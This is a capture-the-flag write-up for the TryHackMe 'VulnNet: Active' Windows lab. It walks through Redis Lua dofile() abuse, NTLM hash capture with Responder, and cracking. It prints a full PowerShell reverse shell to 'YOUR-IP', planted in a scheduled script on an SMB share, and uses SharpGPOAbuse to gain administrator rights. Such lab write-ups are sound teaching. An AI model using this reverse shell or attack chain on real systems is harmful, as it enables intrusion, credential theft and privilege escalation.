VulnNet Active

TryHackMe VulnNet: Active
Difficulty: Medium
OS: Windows
Song: Jay-Z "The City Is Mine"

Recon

As always, start with an nmap scan:

```
Nmap 7.94SVN scan initiated Thu Jan 15 11:40:22 2026 as: nmap -sCV -A -p- --min-rate 6000 -oN active -Pn 10.66.161.140
Nmap scan report for 10.66.161.140
Host is up (0.10s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
6379/tcp open redis Redis key-value store 2.8.2402
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49669/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-01-15T11:41:42
|_ start_date: N/A
```

Of all the possible services to attack, the most interesting are ports 139, 445 (Typically SMB) and 6379 (Redis). We will further enumerate those ports to look for a way in.

SMB Enumeration (139/445)

A simple scan of the available shares turns up nothing with anonymous login.

`smbclient -L //10.66.161.140`
`Password for [WORKGROUP\user]:` Anonymous login successful
`Sharename Type Comment` --------- ---- -------
`Reconnecting with SMB1 for workgroup listing.`

Before losing hope, we move onto enumerating Redis, an in-memory database/cache.

Redis Enumeration (6379)

Using `redis-cli` we enumerate the redis service. The first command entered should be `INFO`. Not only does it provide information about the database, obviously, but it also acts as a check to see if authentication is required. If valid credentials are needed, it will return something like `-NOAUTH Authentication required.`

Luckily, that is not the case here:
`redis-cli -h 10.65.161.140` 10.65.161.140:6379> INFO
`Server` redis_version:2.8.2402
`redis_git_sha1:00000000`
....snip....

Now that we know there's no need for authentication, we can dig deeper:
`10.65.161.140:6379> CONFIG GET *`
`1) "dbfilename"` 2) "dump.rdb"
`3)"requirepass" ....snip....` 103) "dir"
`104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"`
....snap....

Reading through the results of `CONFIG GET *`, we get a valid user on the system.

User.txt Flag

The `INFO` command from earlier revealed an older version of redis is in use. Older versions of redis are vulnerable to sandboxed Lua scripts being executed on the service through the `eval` and `dofile()` commands. [Invalid Lua syntax will result in leaking parts of a directory or file.]

We can take advantage of this to read the user.txt flag:

```
`redis-cli -h 10.65.161.140 -p 6379 eval "dofile('C:\\\Users\\\enterprise-security\\\Desktop\\\user.txt')" 0
(error) ERR Error running script (call to f_ce5d85ea1418770097e56c1b605053114cc3ff2e): @user_script:1: C:\Users\enterprise-security\Desktop\user.txt:1: malformed number near 'REDACTED'
```

NTLM Hash Capture and Crack

NTLM hashes are used for Windows user authentication. If we can get a hold of one and crack it, we're in.

First, in a separate terminal, we run `responder`:

```
responder -I tun0
....snip...
[+] Listening for events...
```

Next, back in our original terminal, we abuse that same `eval dofile()` vulnerability from before, putting our IP to receive a response:

```
redis-cli -h 10.65.161.140 -p 6379 eval "dofile('//YOUR-IP//test')" 0
(error) ERR Error running script (call to
f_c2d6702923b5d31221185ebcb3d41ff2d54cc450): @user_script:1: cannot open
//YOUR-IP//test: Permission denied
```

Turning back to the `responder` tab, we get our hash:

```
[SMB] NTLMv2-SSP Client : 10.65.161.140
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash : enterprise-
security::VULNNET:310081f059a98ba1:7EE90CBAB7DAD7ACDF87D0FC8AF1AAC...
```

We save the hash we recovered and use `john the ripper` or `hashcat` to crack it:

```
john --wordlist=/home/user/SecLists/rockyou.txt hash
```

Now that we have a user and a password, we run out of time on THMs box, reset our attack IP, and return to the SMB service.

SMB Take 2: Electric Bugaloo

```
smbclient -L ///10.67.183.47 -U enterprise-security
Password for [WORKGROUP\enterprise-security]:
```

```
 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 C$              Disk      Default share
 Enterprise-Share Disk
 IPC$            IPC       Remote IPC
 NETLOGON        Disk      Logon server share
 SYSVOL          Disk      Logon server share
```

The `Enterprise-Share` sticks out, so we will look at that one:

```
smb: \> ls
. D 0 Tue Feb 23 22:45:41 2021
.. D 0 Tue Feb 23 22:45:41 2021
PurgeIrrelevantData_1826.ps1 A 69 Wed Feb 24 00:33:18 2021
```

`PurgeIrrelevantData.ps1` is likely a scheduled task. If we overwrite the contents with a PowerShell reverse shell, keeping the name in tact, we should be able to connect when the task runs.

```
$client = New-Object System.Net.Sockets.TCPClient('YOUR-IP',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

Start a NC listener in a separate terminal. Now, while connected to the SMB share, using the `put` command, we re-upload the edited PS script. You'll receive a shell almost immediately.

```
nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.66.150.112 49948
```
`whoami` vulnnet\enterprise-security `PS C:\Users\enterprise-security\Downloads>`

PowerView.ps1 and Bloodhound

For the sake of brevity, I'm going to summarize the next steps.

Upload PowerView.ps1 to the SMB server.
```
Import-Module .\PowerView.ps1
. .\PowerView.ps1
get-netgpo
```
Security-pol-vn and Default Domain Controllers Policy are returned.

Upload and Invoke SharpHound.ps1 to the SMB server the same way.
```
Invoke-BloodHound -CollectionMethod All
cp XXX_BloodHound.zip C:\Enterprise-Share\
```
Get it back from the SMB share and unzip.
With `Find Shortest Paths to Domain Admins` in Bloodhound, we see our user can write to the `security-pol-vn` GPO. We also see the same GPO is applied essentially everything on vulnnet.local. We will abuse this in the next step.

SharpGPOAbuse.ps1

Compiling on Linux turned out to be a pain, so I found a pre-compiled version of SharpGPOAbuse. SharpGPOAbuse is used to edit user's rights on a GPO.

Upload and Invoke SharpGPOAbuse to the SMB server as before.

```
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author
vulnnet\administrator --Command "cmd.exe" --Arguments "/c net localgroup
administrators enterprise-security /add" --GPOName "SECURITY-POL-VN" --Force
```

Wait for it to complete, then run `gpupdate /force` to not have to wait around for the GPO to update on its own.

Enter `net user enterprise-security` to check your new privileges. You'll see the following:

`Local Group Memberships *Administrators` Global Group memberships *Domain Users `

Now that we are part of the Admin group, we can go back to the C$ share on the SMB server and collect the last flag.

System.txt

```
smbclient //10.66.182.74/c$ -U enterprise-security
Password for [WORKGROUP\enterprise-security]:
Try "help" to get a list of possible commands.
smb: \> get Users\Administrator\Desktop\system.txt
```

Things I Learned

The PowerView enumeration techniques and SharpGPOAbuse script were both new to me. It was also a painstakingly long process to figure out where to go once I got an initial foothold on the system. PowerView is going to be in my bag of tricks for Windows systems from now on.